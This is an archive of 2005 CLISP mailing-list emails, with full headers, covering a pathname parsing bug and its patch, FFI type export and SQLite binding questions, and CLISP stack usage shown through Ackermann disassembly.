Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DFDnm-0004K9-TE for clisp-list@lists.sourceforge.net; Sat, 26 Mar 2005 08:06:20 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 76A59585D3; Sat, 26 Mar 2005 17:02:51 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8EC6010FC26; Sat, 26 Mar 2005 17:02:50 +0100 (CET) Message-ID: <16965.34730.554642.68655@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20050322000506.79CD310FC26@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Internal error: statement in file "pathname.d", line 1082 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 26 08:06:59 2005 X-Original-Date: Sat, 26 Mar 2005 17:02:50 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2005-03-22 01:05:06 +0100]: > > > > Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.") > > > > *** - Internal error: statement in file "pathname.d", line 1082 has been reached!! > > Please send the authors of the program a description how you produced > > this error! > > do you get something similar on > (logical-pathname "sys:foo.bar.") > (instead of a parse-error?) Yes. $ clisp -q -norc -ansi [1]> (logical-pathname "sys:foo.bar.") *** - Internal error: statement in file "pathname.d", line 1082 has been reached!! Please send the authors of the program a description how you produced this error! Break 1 [2]> > does the appended patch fix the problem? Seems to work: $ clisp -q -norc -ansi [1]> (logical-pathname "sys:foo.bar.") *** - PARSE-NAMESTRING: syntax error in filename "sys:foo.bar." at position 11 Break 1 [2]> > thanks for the bug report! Thanks for the fix! -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From pjb@informatimago.com Sat Mar 26 12:01:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DFHTN-0002TF-4f for clisp-list@lists.sourceforge.net; Sat, 26 Mar 2005 12:01:29 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DFHTK-0005lo-71 for clisp-list@lists.sourceforge.net; Sat, 26 Mar 2005 12:01:29 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E31AA586A6; Sat, 26 Mar 2005 20:58:00 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BFCAE10FC26; Sat, 26 Mar 2005 20:58:00 +0100 (CET) Message-ID: <16965.48840.752619.318286@thalassa.informatimago.com> To: Doug Currie Cc: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Internal error: statement in file "pathname.d", line 1082 In-Reply-To: <1838971392.20050325200746@flavors.com> References: <20050322000506.79CD310FC26@thalassa.informatimago.com> <1838971392.20050325200746@flavors.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 26 12:01:39 2005 X-Original-Date: Sat, 26 Mar 2005 20:58:00 +0100 Doug Currie writes: > > Thursday, March 24, 2005, 6:30:42 PM, you wrote: > > >> * Pascal J.Bourguignon [2005-03-22 01:05:06 +0100]: > >> > >> Break 1 DOMINGO[4]> (directory > >> "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.") > >> > >> *** - Internal error: statement in file "pathname.d", line 1082 has been reached!! > >> Please send the authors of the program a description how you produced > >> this error! > > > do you get something similar on > > (logical-pathname "sys:foo.bar.") > > (instead of a parse-error?) > > > does the appended patch fix the problem? > > No... > > A clean build from CVS Well on 2.33.2 it worked here. > with /pathname.d/1.360/Sat Mar 26 00:33:16 2005// > fails the above test during a build: > > $ ./configure --with-mingw --with-module=dirkey --build build-mingw >> log-build-mingw.txt 2>&1 > > RUN-TEST: finished "excepsit" (1 error out of 363 tests) > RUN-ALL-TESTS: grand total: 1 error out of 10,343 tests > > $ cat /c/dev/clisp/clisp/build-mingw/tests/*.erg > Form: (LOGICAL-PATHNAME "sys:foo.bar.") > CORRECT: PARSE-ERROR > CLISP : # -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From kavenchuk@jenty.by Mon Mar 28 00:31:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DFpey-0000tC-Ff for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 00:31:44 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DFpew-0007Cg-Kg for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 00:31:44 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id H4MQQXYH; Mon, 28 Mar 2005 11:34:32 +0300 Message-ID: <4247C111.7040907@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 28 00:32:01 2005 X-Original-Date: Mon, 28 Mar 2005 11:32:17 +0300 clisp from CVS head, mingw tcl-ffi.lisp: (defpackage :tcl-ffi (:modern t) (:use :COMMON-LISP :FFI) (:export #:Tcl-FreeProc #:Tcl-Interp #:*Tcl-Interp ;;;; Types (ffi:def-c-type Tcl-FreeProc (ffi:c-function (:arguments (blockPtr ffi:c-string)) (:return-type ffi:nil) (:language :stdc))) (ffi:def-c-struct Tcl-Interp (result ffi:c-string) (freeProc Tcl-FreeProc) (errorLine ffi:int)) (ffi:def-c-type *Tcl-Interp (ffi:c-ptr Tcl-Interp)) tk-ffi.lisp: (defpackage :tk-ffi (:modern t) (:use :COMMON-LISP :FFI :tcl-ffi) (ffi:def-call-out Tk-Init (:name "Tk_Init") (:library *tk-shared-lib*) (:arguments (interp *Tcl-Interp)) (:return-type ffi:int)) $ clisp -L ENGLISH [1]> (load "tcl-ffi.lisp") ;; Loading file tcl-ffi.lisp ... ;; Loaded file tcl-ffi.lisp T [2]> (load "tk-ffi.lisp") ;; Loading file tk-ffi.lisp ... *** - Incomplete FFI type *Tcl-Interp is not allowed here. The following restarts are available: SKIP :R1 skip this form and proceed STOP :R2 stop loading file ABORT :R3 abort Break 1 tk-ffi[3]> ffi types are not exported between packages? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Mar 28 06:47:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DFvWl-0001to-JH for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 06:47:39 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DFvWj-0007iv-R1 for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 06:47:39 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2SEijxe026210; Mon, 28 Mar 2005 09:44:45 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4247C111.7040907@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 28 Mar 2005 11:32:17 +0300") References: <4247C111.7040907@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 28 06:48:22 2005 X-Original-Date: Mon, 28 Mar 2005 09:46:16 -0500 > * Yaroslav Kavenchuk [2005-03-28 11:32:17 +0300]: > > [2]> (load "tk-ffi.lisp") > ;; Loading file tk-ffi.lisp ... > *** - Incomplete FFI type *Tcl-Interp is not allowed here. > The following restarts are available: > SKIP :R1 skip this form and proceed > STOP :R2 stop loading file > ABORT :R3 abort > Break 1 tk-ffi[3]> > > ffi types are not exported between packages? (apropos "*Tcl-Interp") should explain things. -- Sam Steingold (http://www.podval.org/~sds) running w2k If You Want Breakfast In Bed, Sleep In the Kitchen. From kavenchuk@jenty.by Mon Mar 28 06:59:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DFvhy-0002Wz-QU for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 06:59:14 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DFvhu-0000QZ-Oj for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 06:59:14 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id H4MQQYM3; Mon, 28 Mar 2005 18:02:01 +0300 Message-ID: <42481BE3.70907@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 28 06:59:48 2005 X-Original-Date: Mon, 28 Mar 2005 17:59:47 +0300 Sam Steingold: >>[2]> (load "tk-ffi.lisp") >>;; Loading file tk-ffi.lisp ... >>*** - Incomplete FFI type *Tcl-Interp is not allowed here. >>The following restarts are available: >>SKIP :R1 skip this form and proceed >>STOP :R2 stop loading file >>ABORT :R3 abort >>Break 1 tk-ffi[3]> >> >>ffi types are not exported between packages? > > > (apropos "*Tcl-Interp") should explain things. [3]> (apropos "*Tcl-Interp") TCL-FFI:*tcl-interp TCL-FFI::*Tcl-Interp Only symbols. So should be? That is, ffi:c-types and ffi:c-struct it is impossible to export? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Mar 28 07:59:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DFwdz-0005kU-EK for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 07:59:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DFwdv-00078i-Ob for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 07:59:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2SFv4Tk004481; Mon, 28 Mar 2005 10:57:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4243D9B2.8000205@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 25 Mar 2005 11:28:18 +0200") References: <4243D9B2.8000205@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi foreign function documentation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 28 07:59:29 2005 X-Original-Date: Mon, 28 Mar 2005 10:58:37 -0500 > * Yaroslav Kavenchuk [2005-03-25 11:28:18 +0200]: > > def-call-out do not have option :documentation. it now does. thanks for the suggestion -- Sam Steingold (http://www.podval.org/~sds) running w2k The world is coming to an end. Please log off. From sds@gnu.org Mon Mar 28 08:02:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DFwhH-0005sP-34 for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 08:02:35 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DFwhD-00046X-Bq for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 08:02:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2SG0YpN004998; Mon, 28 Mar 2005 11:00:34 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42481BE3.70907@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 28 Mar 2005 17:59:47 +0300") References: <42481BE3.70907@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 28 08:03:12 2005 X-Original-Date: Mon, 28 Mar 2005 11:02:07 -0500 > * Yaroslav Kavenchuk [2005-03-28 17:59:47 +0300]: > > Sam Steingold: >>>[2]> (load "tk-ffi.lisp") >>>;; Loading file tk-ffi.lisp ... >>>*** - Incomplete FFI type *Tcl-Interp is not allowed here. >>>The following restarts are available: >>>SKIP :R1 skip this form and proceed >>>STOP :R2 stop loading file >>>ABORT :R3 abort >>>Break 1 tk-ffi[3]> >>> >>>ffi types are not exported between packages? >> (apropos "*Tcl-Interp") should explain things. > > [3]> (apropos "*Tcl-Interp") > TCL-FFI:*tcl-interp > TCL-FFI::*Tcl-Interp (mapc #'describe (apropos-list "*Tcl-Interp")) 1. how do you want your symbol to be named? make sure that it is indeed named as you wanted. 2. make sure that when you think you are using it, you are indeed using it and not creating a new symbol (as you are now). the easy way is to lock the package TCL-FFI. -- Sam Steingold (http://www.podval.org/~sds) running w2k The only substitute for good manners is fast reflexes. From e@flavors.com Mon Mar 28 16:21:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DG4UJ-0006p5-Mm for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 16:21:43 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DG4UI-0000PH-Ua for clisp-list@lists.sourceforge.net; Mon, 28 Mar 2005 16:21:43 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586 for ; Mon, 28 Mar 2005 19:21:31 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <14143141.20050328192127@flavors.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] program stack questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 28 16:22:11 2005 X-Original-Date: Mon, 28 Mar 2005 19:21:27 -0500 These are idle "help me understand the implementation/code" questions rather than "this is preventing me from using CLISP" questions... Questions: 1. Is there a CLISP function available to get the current program stack depth (in bytes) or machine stack pointer? I suppose a simple ffi function would be pretty easy to do, but I was hoping something was "in stock." [If my calculations below are correct, there is an overhead of 300 bytes per lisp function call on the program stack, plus an overhead of something like 1M bytes of program stack space in a deeply recursive function that I cannot readily identify.] 2. Where is the 1M bytes of program stack space going? I know there is a 16K set-aside for stack overflow at each end. There are probably also some jmpbufs for unwind/reset. What else eats so much stack space? 3. Why are 300 bytes of program stack needed for _interpret_bytecode_? (This is a rhetorical question.) Has any thought been given to trying to reduce this? Or to avoid recursing on the full interpreter to make a lisp function call? Background: Disassembly of _interpret_bytecode_ (gcc 3.4.2): 2950: 55 push %ebp 2951: 89 d1 mov %edx,%ecx 2953: 89 e5 mov %esp,%ebp 2955: 57 push %edi 2956: 56 push %esi 2957: 81 ec 20 01 00 00 sub $0x120,%esp reveals that each recursive call of the interpreter uses 300 bytes of program stack space. Disassembly of ackermann (CLISP ~2.33.83): (defun ackermann (m n) (declare (type integer m n)) (cond ((zerop m) (1+ n)) ((zerop n) (ackermann (1- m) 1)) (t (ackermann (1- m) (ackermann m (1- n)))))) Disassembly of function ACKERMANN (CONST 0) = 1 2 required arguments 0 optional arguments No rest parameter No keyword parameters 18 byte-code instructions: 0 L0 0 (LOAD&PUSH 2) 1 (CALLS2&JMPIF 146 L19) ; ZEROP 4 (LOAD&PUSH 1) 5 (CALLS2&JMPIF 146 L24) ; ZEROP 8 (LOAD&DEC&PUSH 2) 10 (LOAD&PUSH 3) 11 (LOAD&DEC&PUSH 3) 13 (JSR&PUSH L0) 15 (JMPTAIL 2 5 L0) 19 L19 19 (LOAD&PUSH 1) 20 (CALLS2 151) ; 1+ 22 (SKIP&RET 3) 24 L24 24 (LOAD&DEC&PUSH 2) 26 (CONST&PUSH 0) ; 1 27 (JMPTAIL 2 5 L0) NIL Ackermann(3,k) has a recursive depth of 2^(k+3)-1. On WinXP (with a default program stack size of 2M), (ackermann 3 8) works and (ackermann 3 9) overflows the program stack. (ackermann 3 9) should require (2^(9+3)-1) = 4095 stack frames 4095 * 300 = 1,228,500 bytes so we are in the ballpark of stack overflow. Where are the other (2.0M - 1.2M =) 0.8M bytes of program stack space allocated? e From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 29 01:53:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DGDPv-0001XJ-9K for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 01:53:47 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DGDPs-0000Ii-R2 for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 01:53:46 -0800 Received: from g8pbq.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 29 Mar 2005 10:53:24 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 29 Mar 2005 11:52:27 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0303BE7DC8@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: Re: [clisp-list] ffi question MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 29 01:53:59 2005 X-Original-Date: Tue, 29 Mar 2005 11:52:26 +0200 Hi, generally, please post a URL to the API documentation when asking advice for how to interface to a particular foreign function. The reference material is needed to answer. I searched and found http://www.sqlite.org/capi3ref.html#sqlite3_open Yaroslav Kavenchuk wrote: > (db (ffi:c-ptr ffi:c-pointer) :out :alloca)) >It's work. It's simple. Nice! Excellent!!! :) Great. It's a typical example of :out parameter >The second variant (only sqlite3-open): > (db ffi:c-pointer)) >(setq db (ffi:foreign-allocate ffi:c-pointer)) ^'/quote missing here >(sqlite3-open *db-name* (ffi:foreign-address db)) >(sqlite3-close (ffi:foreign-value db)) >How to make that sqlite3-close it was called as well as in the first >variant? Sorry, I don't understand the question. >I should free memory (db) in the first or second variant? Yes. More precisely, you should extract the value right after the call to open, then free the container. There's no need to repeat (ffi:foreign-value db) every time you need to access a DB function. You need to realize that it's only for OPEN that you need to provide a location where to put the second return value from sqlite_open(). After that, you should free this temporary storage. (let ((db foreign-allocate)) (cons (open3 filename db) ; benefit from left-to-right evaluation order (prog1 (foreign-value db) (foreign-free db))) The SQLite documentation states that the pointer is always filled, even in case of an error. As you have seen, :out parameters cover exactly this scenario. CLISP will stack-allocate a pointer for you. CLISP's FFI is quite expressive. The second variant looks more like what UFFI would look like. But even UFFI has a with-foreign-object macro that may do stack allocations on some implementations: (defun my-open (filename) (ffi:with-foreign-object (db 'c-pointer) ; no need for malloc (cons (sqlite-open filename db) (foreign-value db)))) But why use these cumbersome forms when :out does it for you? Regards, Jorg Hohle. From kavenchuk@jenty.by Tue Mar 29 02:24:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DGDtw-0002zg-JR for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 02:24:48 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DGDtt-0004nN-Az for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 02:24:47 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id H69VA1KR; Tue, 29 Mar 2005 13:27:33 +0300 Message-ID: <42492D0F.6030305@jenty.by> From: Yaroslav Kavenchuk User-Agent: 